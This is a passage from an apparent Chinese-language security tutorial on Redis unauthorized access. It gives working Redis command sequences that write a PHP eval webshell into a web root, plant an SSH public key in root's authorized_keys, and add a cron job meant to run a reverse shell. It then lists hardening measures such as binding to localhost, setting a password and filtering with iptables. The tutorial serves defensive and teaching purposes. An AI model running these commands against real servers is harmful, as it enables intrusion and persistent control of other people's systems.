2.2 写入Webshell
SET shell "<?php @eval($_POST['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE
2.3 写入SSH公钥
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET x "\n\n[公钥]\n\n"
SAVE
2.4 写入CRON定时任务
CONFIG SET dir /var/spool/cron/crontabs
SET x "\n\n* * * * * 反弹Shell命令\n\n"
SAVE
三、防御方案
基础加固
bind 127.0.0.1(只允许内网)
requirepass [强密码]
protected-mode yes
port 6380(修改默认端口)
网络层防护
iptables限制访问IP
安全组只开放应用服务器
总结
Redis未授权访问危害极大,防御关键是"默认配置不可信"。
本文仅供合法授权测试使用。